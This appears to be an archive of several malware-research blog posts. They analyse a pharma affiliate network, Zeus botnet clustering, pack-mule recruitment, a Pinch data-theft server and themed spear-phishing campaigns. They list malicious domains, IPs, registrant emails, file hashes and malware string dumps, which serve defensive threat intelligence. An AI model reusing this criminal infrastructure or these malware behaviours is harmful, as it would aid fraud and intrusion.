There are pharma campaigns that have been found to use thousands of domain names and fast flux DNS techniques which can effectively resist takedown efforts. However, pharma operations are not just centralized campaigns. Much like FakeAV, Pay-Per-Install, and Pay-Per-Click operations, pharma is also organized through affiliate networks. Affiliate networks allow centralized pharma operations to diversify with individual operators maintaining pharma websites and generating incoming traffic through spam or search engine optimization.

This post will focus on RX-promotion (rx-promotion.com) which has been linked to a variety of operations including the payment service ChronoPay. The FDA are aware of Rx-promotion and have sent a warning letter to them in October 2010. Rather than focus on those behind the operation, this post simply focuses on how the affiliate program works and Rx-promotion’s pharma brands including:

It is actually quite simple to get started with a pharma affiliate operation and there are even guides that walk users through the process. After creating an account, one can download rx.tar.gz, a package that allows anyone to setup a pharma shop of their own. RX-promotion operates a number pharma brands that are available as themes after setting up the pharma shop. (*See screen shots at the bottom of this post).

Although the brand shops are operated by the affiliates, the shops are connected to the Rx-Promotion infrastructure which provides the backend for the prices, payment and support. The shops make HTTP connections to xml.paymentrx.com and receiving XML updates. Payments are handled through secure.paymentrx.com and customer support is available at rx-drugs-support.com.

As orders are received, the affiliate earns money from Rx-Promotion and can “cash out” through a variety of services.

There is ongoing development of the shop code. Affiliates can easily update their installations through the administrative backend.

In one such update, Rx-Promotion left the “./svn/” directory from the subversion revision control system indicating that their source code and development resides at:

https://nona.smartsol.biz/svn/src/rxpro_shop/public_html

RX-promotion is behind many different pharma brands that are marketed using spam and search engine optimization techniques. RX-promotion provides the backend of the pharma operation while numerous affiliates promote its products in order to receive a portion of the profit generated.

When using stolen credit card numbers to make purchases online, criminals do not provide their own identity or location information. Instead, criminals post advertisements on job search Web sites in order to lure “pack mules” to act as intermediaries in their criminal operations. These intermediaries receive merchandise on the criminal’s behalf and re-ship it to a location under the control of the criminals. This operation is known as “re-shipping fraud” and is similar to the ways in which some criminals recruit “money mules” to open bank accounts for transferring stolen funds.

Re-shipping is tightly intertwined with malware activity. This is demonstrated by the fact that the Web sites used to recruit pack mules are hosted on the same servers that host the command-and-control servers of Zeus botnets. I have been exploring (see Clustering Zeus Command and Control Servers Part 1 and Part 2) clusters of Zeus activity in an attempt to better understand the connections among the criminals behind different functions within the botnet ecosystem. I have found that although Zeus is a popular malware toolkit that any aspiring criminal can use to setup a botnet capable of stealing credit card and banking information, there is a cluster of malicious Zeus servers which indicate that there is a “core” of Zeus operations.

In this blog post, I analyze the pack mule recruiting Web site, “Sullivan and Myers,” (sullivanmyers.com) and explore its links with Zeus botnets and the broader malware underground. This investigation indicates that these concentrations of malicious activities go beyond operating command-and-control servers and extracting banking information to other aspects of the criminal enterprise. This includes exploitation (through “exploit packs“) and the recruiting of pack and money mules.

Pack Mule Recruitment

In order to recruit pack mules, criminals setup Web sites that purport to belong to a legitimate shipping and receiving business, and post advertisements that link to the “business” on job search Web sites and forums. This can be seen in the case of Sullivan and Myers, a fake business created for the purpose of recruiting pack mules.

Sullivan and Myer’s job posting invites interested applicants to complete an online application form and submit a resume to hr@sullivanmyers.com. Sullivan and Myer’s contact information (address, phone, and fax number) is also supplied. The application form, contact information, and the company’s Web site appear to have been designed to create a sense of legitimacy. Although there are some indicators that suggest the company may be fake, such as awkward language and occasional errors (using “Myers & Sullivan” instead of “Sullivan and Myers”), the overall presentation is passable. To some applicants, the company may appear to be legitimate.

After submitting a resume, applicants are given additional information about the position. The applicants are informed that they will be receiving packages which they are to re-package and send to the company’s “consumers.” The applicants are told that they can earn up to USD3000 per month.

When law enforcement tracks down the operation, they will be led to the address of the pack mule rather than the masterminds behind the operation.

The Malware Connection

Locating Sullivan and Myers within the malware ecosystem exposes the criminal connections of those behind the re-shipping fraud operation. The Web site sullivanmyers.com is registered to the e-mail address migray71@yahoo.com and resolves to the IP address 194.28.112.11. Migray71@yahoo.com is linked to significant malicious activity.

The hosting history of sullivanmyers.com firmly places the domain within concentrations of malicious activity. Currently, the Web site is hosted on a server with the IP address 194.28.112.11. This server also hosts azkinternational.com (azkint@bronzemail.net), fotosharedownloads.com (hosting@haiau.tv) and fotoshare-dknc.com (markson@bluewin.ch). Fotosharedownloads.com and fotoshare-dknc.com are Web sites that host malware, and azkinternational.com appears to be another pack mule recruiting Web site.

Sullivanmyers.com has been hosted on a number of servers that have hosted significant amounts of malicious activity in the last year. Currently, these servers are hosting domain names registered to known malicious e-mail addresses.

The domain names listed above resolve to IP addresses of servers that were previously used to host sullivanmyers.com. While some of the domain names have already been linked to malicious activity, some have not. However, they are associated with e-mail addresses that have been used to register malicious domain names in the past.

Using data from MalwareDomainList and ZeusTracker, we can see the extent to which domain names registered by migray71@yahoo.com are engaged in malicious behavior and linked through co-hosting to other malicious domain names. These malicious domain names have been active throughout 2010 and have been used to host exploit packs, such as Pheonix and Eleonore; downloaders, such as Oficla/Sasfis, Fake Antivirus, the RussKill DDoS tool and multiple versions of the Zeus Trojan; and associated drop zones and command-and-control servers. This e-mail address was also used to register sosanni.com, a command-and-control server for the Ambler botnet.

The most interesting connection within this cluster links the activity of domain names registered with migray71@yahoo.com to the Ambler botnet and to a cluster of malicious Zeus activity. The domain name sosanni.com (migray71@yahoo.com – 121.101.216.205) was an Ambler command-and-control server that was operated by the same set of actors that administered a cluster of Zeus command-and-control servers registered with a variety of well- known e-mail addresses, including hilarykneber@yahoo.com, edgar.marcha@verizon.net, and MillieDiaz4@aol.com.

The hilarykneber@yahoo.com e-mail address was made infamous after Netwitness revealed the existence of a Zeus-based botnet associated with that email address that had compromised over 74,000 computers around the world. An association with the Kneber botnet indicates that those behind the operation have no shortage of stolen credit card numbers that could be used to make purchases that are re-shipped through the pack mule operation. Moreover, this cluster was found to be not only operating a Zeus botnet, but a SpyEye and the Ambler botnet as well. This indicates that the criminals are diversifying their operations using multiple forms of malware that are designed to steal credit card numbers, bank account information, and other credentials.

However, there are some limitations to this analysis. Just because domain names are hosted on the same server, it does not mean that there is necessarily a direct connection between them. There are a variety of “bullet proof” Web hosting companies that provide stable hosting to a wide variety of malicious activity. Online criminal prefer these services because the “bullet proof” hosts ensure that malicious Web sites remain online despite efforts of the security community to take them down.

Domain names registered with the same e-mail address provides a stronger link because this indicates that the domain names are under the control of one entity. However, domain names registered to the same e-mail address may not be directly linked. There are a variety of services available within the malware underground that include domain registration. For example, the domain name southdomens.com (southdomens@googlemail.com) is hosted on a server that sullivanmyers.com was formerly hosted on. The server is also associated with a service that provides domain name registration. If domain registration services register domain names for multiple clients with the same e-mail address, it provides a weak (rather than strong) link between malicious activity clustered around domain names registered with the same e-mail address. Domain names registered with the same e-mail address may be distributed by the supplier to an array of disparate criminals. So, rather than indicating a strong connection between the malicious actors using the domain names, it simply shows that disparate malicious actors sought the services of the same domain name provider.

Keeping these limitations in mind, I believe that while there are specialized roles within the malware ecosystem, there appears to be a significant portion that is quite centralized. In this case, domain names registered with the same e-mail addresses not only inhabit servers full of malicious activity, but are also associated with “pack mule” recruitment, exploit packs, and Zeus and Ambler command-and-control servers. While the exact nature of the connections between them are unclear, these concentrations indicate that a discrete set of criminals are behind an operation that goes full circle—from exploiting victims, to harvesting credentials to acquire goods which are relayed through a network of pack mules back to the criminals.

On November 10, 2010 Websense reported that website of Amnesty Hong Kong was compromised and was delivering an Internet Explorer 0day exploit (CVE-2010-3962) to visitors. In addition, Websense reports that the same malicious server was serving three additional exploits: a Flash exploit (CVE-2010-2884), a QuickTime exploit (CVE-2010-1799) and a Shockwave exploit (CVE-2010-3653).

The malicious domain name hosting the exploits mailexp.org (74.82.168.10) has been serving malware since Sept. 2010. The domain mailexp.org was registered in May 2010 to y_yum22@yahoo.com. mailexp.org was formerly hosted on 74.82.172.221 which now hosts the Zhejiang University Alumni Association website.

The domain name “ns.dns3-domain.com” has been associated with a variety of malware going back to May 2010. This domain name, dns3-domain.com is registered to zhanglei@netthief.net, the developer of the NetThief RAT.

Malware attacks leveraging human rights issues are not new. I have been documenting them for some time (see, Human Rights and Malware Attacks, Targeted Malware Attack on Foreign Correspondent’s based in China, “0day”: Civil Society and Cyber Security). However, one of the issues that Greg Walton and I raised last year, is a trend toward using the real web sites of human rights organizations compromised and as vehicles to deliver 0day exploits to the visitors of the sites – many of whom may be staff and supporters of the specific organization. Unfortunately, we can expect this to continue.

It is clear that there are certain servers that facilitate an abundance of malicious activity. However, caution must be exercised when conclusions are drawn regarding specific (groups of) actors operating discrete segments of botnet command and control servers among a common malicious infrastructure. Malware groups are often the customers of other malware groups or work with affiliates to propagate and monetize malware. Different groups may propagate malicious domain names that belong to other groups, or different groups may propagate common malicious domains that are provided by an affiliate network. In addition, there are malicious networks that provide hosting services to malware distributors and botnet operators. Therefore, links that appear between a variety of actors may not be as solid as the technical data alone would lead one to believe.

In order to examine these relationships further, I’m going to layer some qualitative data and analysis on the Zeus data analyzed in Part 1. Based on information I obtained from some of the command and control servers listed below (this is deliberately vague), combined with common file paths and the presence of the same files on different combinations of these servers, I believe that the following command and control domain names constitute of cluster of malicious activity operated by the same set of operators:

coolparts31.org – skeletor71@comcast.net – 61.4.82.216
sosanni.com – migray71@yahoo.com – 121.101.216.205

This post will explore the relationships between these domains and other malicious activity, primarily Zeus activity, undertaken by other domain names registered with the same email addresses in order to explore the theory that there is a “core” of Zeus activity. While the malicious activity primarily relates to Zeus there are some significant exceptions. The domain name sosanni.com was used as a command and control server for the Ambler botnet. For the period I observed the Ambler activity, over 5000 IP addresses from compromised computers, 99% of which were from Russia, checked in with the command and control server. In addition, I found that coolparts31.tw was acting as a SpyEye command and control server in addition to a Zeus command and control server.

This screenshot shows the relationship between the command and control domain names, the malicious activity associated with them and the IP address that the domain name resolves to. While there are several instances in which some domain names were co-hosted on the same server, nearly half were not. This makes sense as operators will seek to diversify their hosting in order to avoid a complete shutdown should one of their command and control servers be taken down or blocked. In fact, look at the time span, covering October 2009 to September 2010 we can see how the operators moved their operations from one server to the next.

This operators of this malware cluster tend to host their command and control servers in Eastern Europe and China.

In order to assess this clusters possible linkages within the broader malware ecosystem, the data set was expanded to include a) other domain names registered with the same email addresses and b) the IP addresses of the servers associated with the malicious activity imported from ZeusTracker and MalwareDomainList. This extends the geographic scope of the hosting servers into North America, as well as the previous locations in Eastern Europe (UA, RU, CZ, MD) and South East Asia (CN, TW).

Looking at the relationships between the domains we see that there are two interesting clusters, and arguable a few smaller ones as well. These represent concentrations of servers registered with the same email addresses. The two main clusters are domain names registered to: steven_lucas_2000@yahoo.com and hilarykneber@yahoo.com.

An interesting fact about the “Lucas” cluster becomes apparent when you look at the time line of malicious activity (the date when the domain name was added to ZeusTracker or MalwareDomainList). The Lucas cluster is primarily active January – November 2009 (although there is some subsequent activity) while very few domains registered with other email addresses are active.

This is followed by the introduction of the “Kneber” domains which begin on the tail end of the Lucas cluster’s activity. The Kneber domain names begin in November 2009 and continue into October 2010. While the domain names registered with the remaining email addresses do also roughly follow a similar pattern of beginning while the previous one tails off, Kneber remains fairly constant once it begins.

In Part 1, I showed that there are clusters of Zeus activity that around a set of email addresses used to register domain names. Using qualitative data from my investigations, I’ve found a Zeus cluster that uses domain names registered by some, but not all, of these key email addresses including steven_lucas_2000@yahoo.com and hilarykneber@yahoo.com. This cluster has transitioned through domain names registered by a variety of email addresses over the last year. When the data set is expanded to include all the domain names registered by these email addresses in ZeusTracker and MalwareDomainList we see the same pattern of transition play out. This supports the theory that while Zeus is a toolkit that allows anyone to create a botnet, there is a “core” of Zeus activity.

However, this cluster of 16 domain names is only a small portion of the “core” Zeus activity associated with five key email addresses. According to DomainTools, about 1839 domain names in total:

abuseemaildhcp@gmail.com is associated with about 717 domains
hilarykneber@yahoo.com is associated with about 449 domains
steven_lucas_2000@yahoo.com is associated with about 110 domains
tahli@yahoo.com is associated with about 263 domains
michell.gregory2009@yahoo.com is associated with about 300 domains

These email addresses have been used to registered a variety of domain names associated with all manner of malicious activity, not exclusively Zeus activity. While this could be part of a centralized effort to distribute command and control servers to be operated by sub-groups, I am not sure that it is best to attribute all the malicious activity across these domains to the same set of actors. Even if these domain names represent the efforts of the same set of actors, they appear to be distributed to smaller groups of operators. These operators don’t necessarily have connections with others managing domain names hosted on the same infrastructure and/or registered with the same email addresses.

However, this simple clustering method does provide us with concentrations of malicious activity that should be investigated further. The introduction of qualitative data provides the ability to probe the operations of specific groups further. In the future I’d like to acquire a list of all 1800 domain names and layer on historical hosting data to see if any further patterns emerge.

The use of social networking sites as elements of command and control for malware networks is not novel. The attackers leverage the normal operation of these systems in order to maintain control over compromised system. In 2009, researchers found that Twitter, Jaiku, Tumblr, Google Groups, Google AppEngine and Facebook had all been used as the command and control structure for malware. In August 2009, Arbor Networks’ Jose Nazario found that Twitter was being used as a command and control component for a malware network. In this case, the malware was an information stealer focused on extracting banking credentials from compromised computers located mostly in Brazil. Twitter was not the only channel being used by the attackers. They also used accounts on Jaiku and Tumblr (Nazario 2009a). Furthermore, Arbor Networks found another instance of malware that used the Google AppEngine to deliver malicious URLs to compromised computers (Nazario 2009b). The Unmask Parasites blog found that obfuscated scripts embedded in compromised web sites used the Twitter API to obscure their activities. While the method was clever, the code was unreliable and appeared to have been abandoned by the attackers (Unmask Parasites 2009). Symantec found that Google Groups were being used as command and control for another instance of malware. In this case, a private Google group was used by the attackers to send commands to compromised computers which then uploaded their responses to the same Group (Symantec 2009a) Symantec also found an instance of malware that used Facebook status messages as a mechanism of command and control. (Symantec 2009b). The use of these social networking and Web 2.0 tools allows the attackers to leverage the normal operation of these tools to obscure the command and control functions of malware.

Earlier this year, Sunbelt found a Twitter botnet creator and Trend Micro reports that the “Here You Have” worm used GMail accounts. As we found with the Shadow Network malware authors learn from each other. And in the case of the Shadow Network they didn’t just use one service they used six of them, including Yahoo! Mail. And while indiscriminate malware may be rather noisy, the malware used in targeted attacks tends to be (but is certainly not always) more discrete.

A recent sample posted at contagiodump.blogspot.com caught my attention for this very reason. The sample, “Conference Information_2010 IFANS Conference on Global Affairs (1001).pdf” (which was sent from 221.9.247.17 and was detected by 14 /43 (32.6%) AV products at Virustotal) arrived with the subject line “Nuclear Challenges and Responses in the Century” and exploited a vulnerability in Adobe Reader/Acrobat (CVE-2010-2883) to drop malware on the targets’ computers. For those of you who follow Mila’s awesome blog, this scenario is hardly surprising.

But a few things caught my attention. There were references in the strings dumped from a file the malware created (syschk.ocx) that referenced GMail (mail.google.com) and DriveHQ (drivehq.com), which describes itself as a “cloud based storage, backup, group sharing and collaboration service.” When you look at the traffic generated by the malware you’ll see connections to these locations.

There is nothing about these locations that is very suspicious — everyone checks their GMail right? Moreover, the connection to GMail is SSL encrypted.

Using Burp (which made the process very simple) I MITM’d the traffic between the malware and GMail. The malware logs in to the GMail account and sends an email to another GMail address. The content of this email is encrypted. However, I believe that what it is sending — although this is just a hunch — is the content of another file the malware generates: form.ocx. This file contains what appears to be a unique ID assigned by the malware, the hostname and IP address, the default home page of the default browser and a listing of installed programs on the computer. The end of the file contains information about executables the malware has impacted. In addition to the encrypted message sent through the GMail account, the Unique ID in form.ocx appears at the beginning of the message.

IEXPLORE.EXE done
CHROME.EXE done
FIREFOX.EXE done

C:\WINDOWS\system32\form.ocx
Infect OK!

I have not looked into what exactly the malware does to these applications, but it basically disables the operation of FireFox and Chrome and instead connect to the Gmail account when you try to start these applications. Internet Explorer seems to function normally.

The connection to fuechei.chang.drivehq.com results in the download of an additional file rename.ocx which appears to be very similar, when its strings are compared with, syschk.ocx. It then renames syschk.ocx to syschk.ocx1. You can see that this correlates with text in the strings dumped from syschk.ocx.

%s\rename.ocx

http://%s/rename

%s\syschk.ocx1

After the initial connections to GMail and DriveHQ the malware went quiet. I never did get it to connect again.

As network defenses continue to include traffic analysis, I believe that we will continue to see a move toward using popular services, especially web mail as command and control elements. Unlike connections to well-known dynamic DNS services like 3322.org or abnormal connections to geographic regions, connections to GMail and other popular services do not necessarily stand out. Moreover, the connections to the services, such as GMail are encrypted, further obfuscating the malicious activity that is occurring.

This is interesting because while “the media” often portrays Zeus as “a botnet” the security community rightly points out that Zeus is a malware toolkit not “a” botnet and that there are multiple Zeus botnets. However, what explains the decrease in Zeus command and control servers with the disruption of just one Zeus operation? While it is certainly true that any aspiring criminal can acquire Zeus and begin his or her own operation, is there a Zeus “core” that is organized and connected through links the criminal underground? Having just returned from Palantir’s Govcon feeling inspired I imported Zeus data from the MalwareDomainList and the ZeusTracker to explore the links between Zeus command and control servers.

While there are definitely more indicators, I focused on three: IP addresses, domain names, and email addresses used to register domain names. The IP addresses represent the servers that are used to host command and control servers. One such server may host multiple command and control servers allowing one to cluster malicious domain names that are hosted on the same server. Domain names are useful indicators but essential have a one-to-one relationship so it is more valuable to cluster them by the email address used to register the domain name. Using these indicators the Zeus command and control domain names can be clustered based on co-hosting (on the same IP address) and mutual registration (same email address). This may provide some indication if there is a “core” or Zeus activity.

However, there are significant limitations to bear in mind. Malicious hosting services are available in the criminal underground, so while a single server may be a hotspot of malware activity, it may not be directly related. On the other hand, some command and control servers may be using fast flux which would negate clustering by IP address altogether. Some command and control servers are based on IP addresses only and do not have domain names associated with them. On the other hand, a single domain name may be used for a variety of purposes. (For example, I have found a domain name that hosts both a Zeus and a SpyEye command and control server, despite the reported rivalry between them). In addition, the botnet operators may register a variety of domain names from a variety of email addresses. In such cases, clustering by email addresses would not yield significant links. Finally, there may be suppliers of domain names in them malware underground that register domain names with email addresses under their control, but sell the domains names to other criminals. In such cases, while the email address may be the same, the operators of botnets may not be directly related.

The data set used contains 5,907 domain names (control servers) and 4,505 IP addresses (servers) drawn from ZeusTracker and MalwareDomainList (where the activity on MDL contains “zeus”). Here, 4,505 IP addresses have been geocoded (not all were successfully geocoded) and displayed using Palantir’s heatmap. While there is Zeus activity hosted all over the world, there are noticeable concentrations in Europe, the Unites States and China.

This cluster on the Palantir graph represents the relationship between 5,907 domain names (control servers) and 4,505 IP addresses (servers). This initial display highlights a few interesting indicators. There are several clusters that are visually apparent which show multiple domain names hosted on one server (there are three prominent “star” clusters and several smaller ones) and there is a discernible “tree” structure in the center indicating relationships between single domain names that have been hosted on multiple IP addresses. And we can see thaht there are some familiar IP addresses used to register multiple domain names, the most notable being “hilarykneber@yahoo.com” which is the email addresses behind the Kneber botnet.

Zooming in to some of the clusters reveals some interesting behaviors. In this example, one server is hosting 60 domain names. These 60 domain names were registered with 17 different email addresses. And when some additional information from MDL is brought in, we see that most of the domains are hosting a Zeus executable with the same name “patch.exe” and that there is a naming convention. For example, “1-adm.com/patch.exe” was registered with “obeys@infotorrent.ru” while “1-adm.net/patch.exe” was registered with “yam@ml3.ru”. These domain names were all added to MDL around the same time and despite the multiple email addresses it does appear as if this is a single campaign.

In order to explore the question of whether or not there is a Zeus “core” of some sort, I filtered the domain names and IP addresses to those registered with the top five appearing email addresses (with the exception of contact@privacyprotect.org which is the email address given for those who have used this domain privacy service). Domain names registered with these five email addresses account for 6.09% (360/5907) of the Zeus command and control servers. However, this number increases to 17.9% (360/2004) when the number of control servers is restricted to those that contain email data. In addition to several “star” clusters as well a “tree” in the middle of the graph, we see that these email addresses have been actively propagating Zeus for approximately one year. (The time is derived from when the domain is added to either the MDL or ZeusTracker lists, which is used a rough indicator of when a domain became active).

When the selection is restricted to only those domain names registered by “hilarykneber@yahoo.com” we can see that these domains are represented across most of the clusters indicating that many of these domain are co-hosted on the same IP addresses with those registered by our other top email addresses. In addition, the “kneber” domain names are active through this year long period of data.

While a wide variety of criminals may set up disparate Zeus operations, clustering the Zeus command and control infrastructure in this way indicates that there is some evidence to support claims of a “core” set of Zeus operations. This may be one explanation for the observed decrease in active Zeus command and control servers.

However, this data only reflects only the relationships between IP addresses, domain names and the email addresses used to register the domain names. There are a variety of additional factors, especially those related to analysis of Zeus malware binaries that may support these linkages, provide additional linkages or challenge these linkages. Historical data showing coordinated movements to new IP addresses and name servers would provide additional means to cluster command and control servers with a higher degree of accuracy.

In Part 2 of this post I will broaden the analysis in order to see if the tentative conclusion hold with the introduction of additional data.

Data recovered from a recently active Pinch command and control server, moretds.org (formerly moretds.in) indicates that 26,308 IP addresses uploaded data to the server. The top three countries affected were the US, Germany and Turkey but there was a considerable geographic distribution with a total of 150 countries affected.

In order to read the data PinchParserPro 2.2.2.2 had to be used, which is an older than version than what F-Secure used (PinchParserPro 2.3.1.7) in 2007. It is interesting that such an old version is still being successfully deployed.

While investigating the recovered data, credentials associated with government accounts were discovered. One of the victims of the malware was the Ministry of Foreign Affairs of the People’s Republic of China. While there has been much attention on malware attacks emanating from China, China is also a victim of malware attacks. In fact, a recent cyber-crime report by Symantec revealed that Chinese users were the most victimized by online crime.

The governmental accounts recovered from the control server include:

• Ministry of Foreign Affairs, China
• Industrial and Commercial Administration Bureau in Taiyuan, China
• Ministry of Health, Turkey
• Izmir Tax Services Department, Turkey
• Istanbul Security Directorate, Turkey
• Aegean Obstetrics and Gynecology Training and Research Hospital, Turkey
• Ministry of Environment, Brazil
• Regional Labor Court 6th Region, Brazil
• National Electoral Commision, Poland
• Ministry of Agriculture, Forestry and Water Management, Macedonia
• Drug Enforcement Administration, Office of Diversion Control, E-Commerce program, USA
• City of Oklahoma City, USA
• Taipei Sewage Systems Office of Health, Taiwan
• Ministry of Interior, Ukraine
• Dirección Nacional de los Registros Nacionales, Argentina

While there is often an emphasis on the latest malware threats, old malware persists and continues to be very effective. In addition, attackers are able to compromise government systems using these outdated tools. And, even if the attackers did not intend to compromise these system — and I don’t think they did — attackers are, in general, beginning to realize that not all compromises are the same and that there may be additional value that can be extracted from particular compromised machines.

This post is an overview of a collection of publicly available emails associated with these ongoing series of attacks. These are the socially engineered emails designed to lure potential victims into clicking on and executing the attackers’ malicious code. While the attacks are not targeted down to the individual, or even institutional level, and appear to have been sent to a wide variety of targets, the content of the emails is geared towards those interested in intelligence, military and security issues.

The malicious emails appear to have been sent from email addresses associated with the following domain names: nsa.gov, greylogic.us, pentagon.af.mil, fbi.gov, dia.mil, dhs.gov, stratcom.mil and ifc.nato.int. With the exception of Jeff Carr’s Grey Logic, the emails appear to come from government and military sources. The subject lines and the text of the emails largely focus on security issues with some messages making use of classification markings such as “U//FOUO” and official looking email footers in order to appear to be legitimate.

The links in to the malicious files contained within the emails make use of a variety of hosts. The attackers will often include a link to the file sharing services rapidshare.com, sendspace.com and depositfiles.com. The attackers also use compromised legitimate websites, many of which are running the Joomla! CMS. However, at other times the attackers have used domain names registered specifically for malicious purposes:

dnicenter.com – abuseemaildhcp@gmail.com
dhsorg.org – hilarykneber@yahoo.com

The email addresses abuseemaildhcp@gmail.com and hilarykneber@yahoo.com are well known and have been used to register numerous domain names associated with malware, mostly ZeuS.

The “hilarykneber@yahoo.com” email address was made famous by discovery of the Kneber botnet by Netwitness. Netwitness revealed that many of the compromised computers in the US included government networks as well as Fortune 500 enterprises. This is not entirely surprising as any large botnet is likely to have compromised some government computers. But, the recognition of this fact may be the catalyst for the series of attacks using intelligence, military and security themes as lure. Not all compromised computers are of the same value, surely the attackers realize this. In “Conversations With a Blackhat” RSnake outlines this scenario:

There are already other types of bad guys who do things like spam, steal credentials and DDoS. For that to work they need a botnet with thousands or millions of machines. The chances of a million machine botnet having compromised at least one machine within a target of interest is relatively high.

So let’s say I’m badguy1 who wants to break into one or more companies of interest. Sure, I could work for days or weeks and maybe get into one or both of them, but at the risk of tipping my hand to the companies and there’s always a chance I’ll fail entirely. Or I could work with badguy2 who has a botnet. I could simply give a list of IPs, domains or email addresses of known targets to the bot herder and say that instead of paying a few cents to rent some arbitrary machine for a day, I’ll pay thousands of dollars to get a bot within the company I’m actually interested in.

A variation of this is a scenario in which the botmaster grows the botnet but through means that increase the chances of compromising a target of interest that “badguy1″ wants to compromise. By using intelligence, military and security issues and themes in the lure emails, perhaps the attackers are aiming to increase the likelihood of compromising a sensitive location. In such a scenario, the botmaster is happy to get some new bots connecting in with the Zeus command and control server (from which credentials and other information can be extracted) and can also sell any sensitive data that’s been stolen or sell access to any sensitive compromised computer.

The emails below are a collection of publicly available emails associated with a series of ongoing of attacks using Zeus.

Information Systems Security Reminder

– Users are reminded to be aware and vigilant when using government information services both inside and outside protected environments.

– Be aware of your surroundings when accessing these services remotely, and prefer trusted workstations. Evaluate the security risks inherent with use of public workstations, including “shoulder surfing” by nearby persons.

– When communicating via email, know with whom you are communicating. Common adversary techniques include social engineering, email phishing, and evocative attachments. Government system capabilities may only be discussed with authorized personnel.

– If you make an error (e.g., data spill), report it so that the problem can be addressed. Report any anomalies you observe to your security office or service desk.

Russian spear phishing attack against .mil and .gov employees

A “relatively large” number of U.S. government and military employees are being taken in by a spear phishing attack which delivers a variant of the Zeus trojan. The email address is spoofed to appear to be from the NSA or InteLink concerning a report by the National Intelligence Council named the “2020 Project”. It’s purpose is to collect passwords and obtain remote access to the infected hosts.

Zeus Attack Spoofs NSA, Targets .gov and .mil

Criminals are spamming the Zeus banking Trojan in a convincing e-mail that spoofs the National Security Agency. Initial reports indicate that a large number of government systems may have been compromised by the attack.

According one state government security expert who received multiple copies of the message, the e-mail campaign — apparently designed to steal passwords from infected systems — was sent exclusively to government (.gov) and military (.mil) e-mail addresses.

The messages are spoofed so that they appear to have been sent by the National Intelligence Council (address used was nic@nsa.gov), which serves as the center for midterm and long-range strategic thinking for the U.S. intelligence community and reports to the office of the Director of National Intelligence.

(U//FOUO) This Transportation Security Administration Office of Intelligence (TSA-OI)
assessment, developed at the request of the TSA Office of Security Technology,
examines the terrorist tactics used to attack passengers inside the public areas of an
airport terminal in order to assist in developing security procedures and deploying threat
detection technology to this area. This assessment examined a number of unclassified
sources detailing disrupted plots, bombings, suicide bombers, and armed assaults
conducted in the public areas of airports from the 1960s to the present. Additionally,
attacks on other critical infrastructure targets were reviewed in order to assess which
tactics are more likely to be considered by terrorists targeting airport terminals.

This post was inspired by a recent post at contagio.blogspot.com. What appears to be a one-off attack using Zeus, I believe, is actually another round of a series of Zeus attacks. These attacks appear to be aimed at those interested in intelligence issues and those in the government and military, although the targeting appears to be general rather than targeted.

Round 1

On February 6th, 2010, Brian Krebs reported that attackers using the Zeus trojan targeted a variety of .gov and .mil email addresses in a spear phishing attack that appeared to be from the National Security Agency and enticed users to download a report called the “2020 Project.” The command and control server used in the attacks was updatekernel.com.

Round 2

Following the publication of the article by Brian Krebs, attackers took portions of his article and used them as lure in further spear phishing attacks. Sophos Labs analyzed the sample that used Kreb’s post. A post on Intelfusion.com by Jeff Carr regarding the spear phishing attack was also used in another attack. I documented these attacks in “The ‘Kneber’ Botnet, Spear Phishing Attacks and Crimeware“. The key command and control server in this case was also updatekernel.com.

Round 3

In early March 2010, more emails began circulating, one of which encouraged users to download malware from dhsorg.org (222.122.60.186). This malware used greylogic.org (222.122.60.186) as a command and control server. In addition to sharing an IP address, both domain were registered by hilarykneber@yahoo.com. The attack continued using the domain names dhsinfo.info, greylogic.info, and intelfusion.info (abuseemaildhcp@gmail.com) which were hosted on 218.240.28.34. The domain names used in these attacks were variations of domain names owned by Jeff Carr who has aptly characterized these attacks as a “Poisoning The Well” attack.

Round 4

In June 2010 another campaign began. The lure of the attack emphasizes Jeff Carr’s book “Inside Cyber Warfare: Mapping the Cyber Underworld” with the text copied from http://www.stratcom.mil/reading_list/. The command and control server in this case was from-us-with-love.com.

Round 5

Mila Parkour recently posted details of an interesting attack on contagiodump.blogspot.com. The email used in the attack appeared to be from “ifc@ifc.nato.int” with the subject “Intelligence Fusion Centre” and contained links to a report EuropeanUnion_MilitaryOperations_EN.pdf that exploits CVE-2010-1240 in order to drop a ZeuS binary.

File name: EuropeanUnion_MilitaryOperations_EN.pdf
MD5: 8b3a3c4386e4d59c6665762f53e6ec8e
VT: 11/41 (26.8%)

File name: ntos.exe
MD5: 28c4648f05f46a3ec37d664cee0d84a8
VT: 4/39 (10.3%)

First, the ZeuS malware connects to from-us-with-love.info (91.216.141.171) to receive the Zeus config file. Second, the malware connects to vittles.mobi (174.132.255.10) to download an infostealer. Finally, the infostealer connects to nicupdate.com (85.31.97.194).

logic.exe
MD5: 4f47b495caae1db79987b34afc971eaa
VT: 3/ 42 (7.1%)

The domain name from-us-with-love.info was registered by “Maria Laguer” with the email address admin@from-us-with-love.info, which was also used to register from-us-with-love.com (the name is also associated with other ZeuS domain, see MDL). The decrypted ZeuS config file from from-us-with-love.info contains two additional domain names: enigmazones.eu and askkairatik.net. The domain names were used as part of a previous ZeuS campaign that used from-us-with-love.com as a command and control server. IN addition the location of the malware, quimeras.com.mx, was also used in a previous campaign that had from-us-with-love.com as the command and control server.

One of the email addresses (www-data@nighthunter.ath.cx) that was used to propagate the malware associated with enigmazones.eu also delivered the emails containing malware hosted on dhsorg.org, which was registered by the infamous hilarykneber@yahoo.com and used in attacks in May. The domain dhsorg.org was hosted on 222.122.60.186 along with greylogic.org which was used as a command and control server.

The boundaries between the online crime and espionage appear to be blurring making issues of attribution increasingly more complex. Are online criminals simply targeting those interested in intelligence issues as well as members of the government and military for fraud? Have they determined that they can exploit such persons for fraud in addition to selling and sensitive data acquired to those who would be in the market for such information? Or is the campaign more specifically oriented toward espionage using ZeuS and the malware ecosystem as convenient cover? While these questions are unlikely to be ever definitively answered, we can begin to assess qualitative changes in attacks by tracking them overtime and carefully linking together seemingly disparate peices of data. This post was made possible by a wide variety of sources that each posted components of these attacks. While there is a need to protect certain sources as well as operation security so that the “bad guys” are not tipped off and continued research into their malicious activities remains possible, information sharing remains a key component malware research.

by Nart Villeneuve

On March 18, 2010, unknown attackers sent a spear phishing email that appeared to be from Sharon Hom, the Executive Director of Human Rights in China (HRIC), to a variety of organizations and individuals. Leveraging the trust and recognition of HRIC, the attackers’ email encouraged recipients to visit a compromised website that contained malicious code designed to allow the attackers to ultimately take full control of the visitor’s computer. These targeted malware attacks are now becoming commonplace, further extending the threat faced by civil society organizations.

One of the domains used in this attack, humanright-watch.org, has been used in a variety of attacks and has been documented by Mila at contagiodump.blogspot.com.

